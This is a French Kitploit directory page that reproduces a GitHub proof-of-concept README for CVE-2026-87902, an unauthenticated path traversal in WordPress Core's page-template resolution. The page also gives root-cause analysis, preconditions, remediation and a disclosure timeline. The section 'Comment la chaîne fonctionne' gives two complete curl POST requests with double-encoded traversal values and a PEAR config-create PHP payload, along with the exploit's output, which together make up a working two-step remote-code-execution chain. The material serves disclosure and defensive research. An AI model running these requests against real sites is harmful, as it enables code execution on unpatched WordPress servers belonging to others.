Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-87902-poc — PoC pour CVE-2026-87902 — traversée de chemin non authentifiée dans la résolution de modèle de page WordPress (inclusion PHP locale, RCE conditionnelle) avec un lab vulnérable épinglé | Kitploit
Outils/GitHubGitHub/ressl/cve-2026-87902-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebVirtualisation de SécuritéSécurité WebTests d'IntrusionLabs et Pratique
GitHubressl/cve-2026-87902-poc

cve-2026-87902-poc

PoC pour CVE-2026-87902 — traversée de chemin non authentifiée dans la résolution de modèle de page WordPress (inclusion PHP locale, RCE conditionnelle) avec un lab vulnérable épinglé

Voir le dépôt
314il y a 1 jourPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-87902 — WordPress Core : traversée de chemin non authentifiée dans la résolution des modèles de page

Inclusion locale non authentifiée de fichier PHP dans WordPress Core via une valeur pagename doublement encodée — et, dans des conditions de déploiement spécifiques, exécution de code PHP avec les privilèges du compte du serveur web.

CVECVE-2026-87902
Avis du fournisseurGHSA-7hp8-65ch-5whp
Analyse détailléeCVE-2026-87902: Critical WordPress file inclusion and conditional RCE
AffectéWordPress Core 4.7.0 – 7.1.1 (toutes les branches, selon les plages par branche de l'avis) ; reproduit dynamiquement sur 7.0.2
Corrigé7.1.2 (branche 7.1), 7.0.6 (branche 7.0) et un backport pour chaque branche jusqu'à 4.7.37 (selon l'avis)
FaiblessesCWE-98 (contrôle incorrect du nom de fichier dans include), CWE-22 / CWE-23 (traversée de chemin)
CVSS v3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 Élevé
CVSS v4.0 (supplémentaire)CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critique
Authentificationaucune — aucun compte, cookie, nonce, session, plugin ou requête sortante
Interaction utilisateuraucune
AuteurRobert Ressl — ressl.ch
PoC vérifié2026-09-22 contre le lab de ce dépôt — voir Résultats vérifiés

Résumé

WordPress résout un modèle de Page via une chaîne qui ne prouve jamais que le fichier sélectionné reste à l'intérieur d'une racine de thème :

  1. pagename et page_id sont des variables de requête publiques que WP::parse_request() accepte depuis un corps POST anonyme.
  2. Une traversée doublement encodée dans pagename survit à l'assainissement précoce de la requête sous forme d'octets %xx échappés (wp_basename() ne peut pas voir %2f comme un séparateur, et sanitize_title_with_dashes() conserve délibérément les octets valides).
  3. Un page_id valide sélectionne alors une vraie Page publiée, tandis que le pagename malveillant reste dans l'objet de requête.
  4. get_page_template() appelle ensuite urldecode() sur cette valeur et ajoute un candidat tel que page-templates/../../../../../../../usr/local/lib/php/pearcmd.php à la hiérarchie des modèles.
  5. locate_template() et le chargeur de modèle final ne vérifient que l'existence, la lisibilité et le suffixe .php/.html — jamais que le chemin canonique se trouve encore dans une racine de thème autorisée — puis l'include.

Il s'agit d'une primitive d'inclusion locale de fichier distante non authentifiée dans WordPress Core. Sur le runtime officiel testé (wordpress:php8.3-apache, qui embarque PEAR et ne charge aucun php.ini, donc register_argc_argv est On), l'inclusion a été enchaînée via le pearcmd.php de PEAR : une première requête anonyme fait écrire par config-create du PHP contrôlé par l'attaquant dans /tmp, une seconde requête anonyme inclut ce fichier et l'exécute en tant que www-data.

Le confinement de chemin manquant dans Core est la vulnérabilité. PEAR n'est qu'une route dépendante de l'environnement de l'inclusion vers l'exécution de code — ce n'est pas une dépendance de WordPress et il n'est pas présent ou utilisable dans tous les déploiements.

Cause racine

Emplacements source vérifiés (WordPress 7.0.2) :

#EmplacementRôle
1wp-includes/class-wp.php:18,322-330pagename et page_id sont des variables de requête publiques et sont lues depuis $_POST
2wp-includes/class-wp-query.php:2205sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f n'est pas un séparateur pour wp_basename()
3wp-includes/formatting.php:2283-2289sanitize_title_with_dashes() conserve les octets %xx valides au lieu de les supprimer
4wp-includes/template.php:492$pagename_decoded = urldecode( $pagename ); — la traversée devient active après l'assainissement
5wp-includes/template.php:722-736locate_template() concatène le candidat sous chaque racine de thème et n'appelle que file_exists()
6wp-includes/template-loader.php:116-132realpath() normalise le chemin, puis include s'exécute sans vérification canonique de confinement à la racine
7wp-includes/canonical.php:42-47redirect_canonical() retourne tôt pour les requêtes non-GET/HEAD, donc un POST n'est pas canonicalisé

Préconditions

La primitive d'inclusion autonome nécessite :

#PréconditionRaison
1Une Page publiée, accessible anonymement, sélectionnée par un page_id numériquela page doit être retournée par la requête après l'échec de la recherche du nom de chemin
2Aucun modèle de page personnalisé résoluble antérieurun modèle assigné valide est ordonné avant le candidat malveillant
3Un répertoire de premier niveau dans le thème actif (enfant ou parent) dont le nom commence par page-, par ex. page-templates/WordPress préfixe le préfixe fixe page-, donc une traversée .. ne peut pas commencer à la position 0 ; le répertoire doit seulement exister et être traversable — il ne doit pas être inscriptible
4Un fichier .php local sélectionné qui existe et est lisible par l'utilisateur PHPle chargeur vérifie is_file()/is_readable() et exige un suffixe .php
5Aucun confinement du système de fichiers bloquant ce fichierun open_basedir ou une politique MAC peut empêcher l'inclusion

L'étape PEAR démontrée nécessite en plus un pearcmd.php lisible (ainsi que ses dépendances), register_argc_argv=On pour le SAPI web, et un répertoire de sortie inscriptible. Les fichiers php.ini de production définissent register_argc_argv=Off ; l'image testée ne charge aucun php.ini, donc la valeur par défaut compilée (On) s'appliquait. C'est une limite importante sur la prévalence de la chaîne d'exécution de code démontrée.

Les thèmes fournis Twenty Twenty-Three/Four/Five n'embarquent aucun répertoire page-* de premier niveau, donc le lab standard nécessite la fixture décrite ci-dessous. Les thèmes personnalisés peuvent légitimement utiliser une disposition page-templates/ (documentation WordPress).

L'avis consigne où ces conditions se produisent dans les logiciels livrés : la condition de thème est remplie par les thèmes hérités Twenty Twelve et Twenty Fourteen et par des thèmes tiers tels que Neve, Hestia et Sydney, tandis que la transition PEAR s'applique à l'image Docker PHP officielle et aux configurations cPanel par défaut exécutant PHP antérieur à 8.5. (Twenty Twelve et Twenty Fourteen embarquent tous deux un répertoire page-templates/ de premier niveau ; les autres affirmations sont celles de l'avis.) Ce dépôt ne mesure pas la fréquence d'application de la chaîne complète.

Démarrage rapide

root@kitploit:~
./lab/up.sh            # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py   # two anonymous POSTs, prints the proof marker

cve-2026-87902.py nécessite Python 3.6+ (bibliothèque standard uniquement) et atteint le lab à http://127.0.0.1:8091 par défaut. Sortie attendue :

root@kitploit:~
[*] target        : http://127.0.0.1:8091
[*] page id       : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7       : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal     : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file  : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker        : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof         : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges

Le code de sortie est 0 en cas de succès et 1 sinon, donc le PoC fonctionne aussi comme vérification de régression/détection.

Démontage : docker compose down -v.

Résultats vérifiés

Exécuté le 2026-09-22 contre ce lab (Docker 29.4, OrbStack, Apple silicon) :

VérificationRésultat
Étape 1HTTP 200 ; /tmp/wp-pear-rce-flag.php écrit en www-data:www-data, mode 0644, 1219 octets
SHA-256 de la charge utile460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — identique au hash consigné dans le rapport original
Étape 2HTTP 200 ; le PHP injecté a imprimé l'artefact de preuve en mode 0444
Occurrences du marqueur12 (PEAR sérialise la valeur racine contrôlée dans 12 entrées de configuration)
Identifiants utilisésaucun — aucun en-tête Cookie ou Authorization dans aucune requête
Contrôle négatifpage-templates/ supprimé → l'étape 2 retourne la page normale, aucun marqueur, code de sortie 1

L'artefact de preuve est /flag, détenu par root et lisible par tous (root:root, mode 0444) à l'intérieur du conteneur. Il prouve l'exécution de PHP et l'accès au fichier en tant que compte du serveur web ; ce n'est pas une cible d'élévation de privilèges.

Comment la chaîne fonctionne

Deux POST anonymes. Les valeurs de routage WordPress voyagent dans le corps du formulaire, les arguments PEAR dans la chaîne de requête brute (PHP découpe la chaîne de requête brute sur le caractère littéral + en argv et ne décode pas individuellement les arguments en URL) :

root@kitploit:~
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>"   # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php"                                              # output file

Étape 1 — inclure pearcmd.php et écrire la charge utile :

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'

Étape 2 — inclure le fichier généré et exécuter son PHP :

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'

Détails importants :

  • Deux couches d'encodage. Le corps est décodé une fois par PHP en templates%2f%2e%2e%2f... ; l'assainisseur conserve ces octets, et seul l'urldecode() tardif de get_page_template() les transforme en / et ...
  • Préfixe page-. WordPress préfixe la valeur par page-, donc le répertoire de fixture page-templates/ correspond au segment initial templates.
  • Suffixe .php forcé. Le candidat est page-<decoded>.php, c'est pourquoi la cible est donnée sans suffixe (.../pearcmd, /tmp/wp-pear-rce-flag).
  • POST, pas GET. redirect_canonical() ignore les requêtes non-GET/HEAD, et le corps du formulaire permet à la chaîne de requête de ne porter que les arguments PEAR.
  • Charge utile sans guillemets. wp_magic_quotes() s'exécute aussi sur $_SERVER, donc l'argv construit par le serveur est échappé et PEAR normalise ensuite les barres obliques inverses. La charge utile vérifiée utilise chr() et ne contient aucun caractère de guillemet. (Elle se réduit à <?=file_get_contents('/flag')?>.)
  • Chemin racine de config-create. PEAR rejette une racine relative (Root directory must be an absolute path beginning with "/"), donc la charge utile est injectée comme chemin racine lui-même.
  • Profondeur. cve-2026-87902.py parcourt les segments .. jusqu'à ce que la traversée atteigne la cible (7 pour la disposition de ce lab, --depth pour la fixer).

Lab

lab/up.sh effectue trois étapes et peut être réexécuté sans risque :

  1. docker compose up -d --build --wait — wordpress:7.0.2-php8.3-apache épinglé plus mysql:8.4, port 127.0.0.1:8091 (loopback uniquement).
  2. Exécute l'installateur WordPress (admin / adminadmin) si le site n'est pas encore installé.
  3. Crée la fixture à l'intérieur du thème actif et l'affiche : wp-content/themes/twentytwentyfive/page-templates/, root:root, mode 0755, vide.

L'image du lab ajoute explicitement register_argc_argv=On (lab/Dockerfile) au lieu de se fier à la valeur par défaut compilée, et intègre /flag (root:root, mode 0444, contenu CVE-2026-87902-POC-OK).

ComposantValeur
WordPress7.0.2 (wordpress:7.0.2-php8.3-apache)
PHP / SAPI8.3.33, module Apache
PEAR1.10.18 à /usr/local/lib/php/pearcmd.php
MySQL8.4
register_argc_argvOn
ThèmeTwenty Twenty-Five + fixture page-templates/ vide détenue par root
Page cibleSample Page publiée, ID 2, modèle par défaut
Artefact de preuve/flag, root:root, mode 0444

Le tag roulant wordpress:php8.3-apache n'est pas utilisable pour ce lab : le bug est corrigé dans 7.1.2 et un tag non épinglé transforme silencieusement le lab en version corrigée.

Contrôles négatifs et limitations

Contrôles vérifiés ou documentés :

  • Aucun répertoire page-* de premier niveau dans le thème → le préfixe fixe ne peut pas être supprimé et la traversée ne démarre jamais (vérifié : fixture supprimée → aucun marqueur).
  • register_argc_argv=Off → pas d'écrivain PEAR, mais la primitive d'inclusion subsiste.
  • PEAR ou ses dépendances absents → pas d'écrivain.
  • Mauvais nombre de segments .. → cible non atteinte (vérifié : les profondeurs 1-6 et 8-12 ne produisent aucun marqueur dans le lab).
  • Un modèle de page personnalisé assigné à la Page → ordonné avant le candidat malveillant et gagne.
  • Un fichier sans suffixe (par ex. /flag) ne peut pas être lu directement — le candidat reçoit .php en suffixe.
  • Un WAF/CDN/proxy inverse qui rejette les octets bruts <, >, = dans la cible de la requête casse le canal d'arguments PEAR (spécifique au déploiement).
  • Le confinement open_basedir/MAC ou un répertoire de sortie non inscriptible casse la chaîne ; noexec sur /tmp non (PHP lit et interprète le fichier).

Ce PoC reproduit une configuration vérifiée. Il ne prétend pas que chaque installation WordPress est exploitable, et il ne mesure pas la prévalence.

Remédiation

  • Mettre à niveau vers WordPress 7.1.2 ou plus récent (ou vers le backport de votre branche).
  • Défense en profondeur pour la gestion des modèles : après décodage, rejeter les candidats de traversée et absolus (par ex. validate_file()), et avant d'inclure un modèle localisé, comparer realpath() du candidat et de la racine du thème avec un séparateur de répertoire final.
  • Atténuations opérateur : définir register_argc_argv=Off pour les SAPI web, supprimer les points d'entrée PEAR inutilisés lisibles par le web des images de production, auditer les thèmes enfant et parent pour les répertoires page-* de premier niveau, et restreindre l'accès en écriture pour le compte PHP.

Fichiers

CheminObjectif
cve-2026-87902.pyexploit : détection de page, les deux étapes, gestion de la profondeur, vérification du marqueur
lab/up.shamène le lab dans l'état exact attendu par l'exploit (idempotent)
docker-compose.ymlWordPress 7.0.2 + MySQL 8.4, port loopback uniquement
lab/Dockerfileépingle la version vulnérable, définit register_argc_argv=On, intègre /flag
lab/flagcontenu de l'artefact de preuve

Chronologie de divulgation

DateÉvénement
2026-07-20Signalé en privé via le programme HackerOne de WordPress
2026-07-21Réception confirmée
2026-09-15Informé qu'un correctif était prévu pour une prochaine version ; détails d'attribution demandés
2026-09-22WordPress 7.1.2 publié avec le correctif ; avis GHSA-7hp8-65ch-5whp publié

Le rapport a été accepté comme une découverte de sécurité valide après révision de sa classification initiale ; la correspondance ne date pas cette acceptation.

Avertissement

Ce dépôt est publié à des fins défensives et de recherche. Utilisez-le uniquement contre des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester. Le lab est lié à 127.0.0.1 et ne doit pas être exposé à des réseaux non fiables.

Licence

MIT — voir LICENSE. Les métadonnées de citation se trouvent dans CITATION.cff :

Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch

Le rapport de vulnérabilité et ce PoC ont été préparés avec l'aide de l'IA pour l'organisation et la revue de cohérence ; le chercheur est responsable des affirmations techniques.

Télécharger l’outil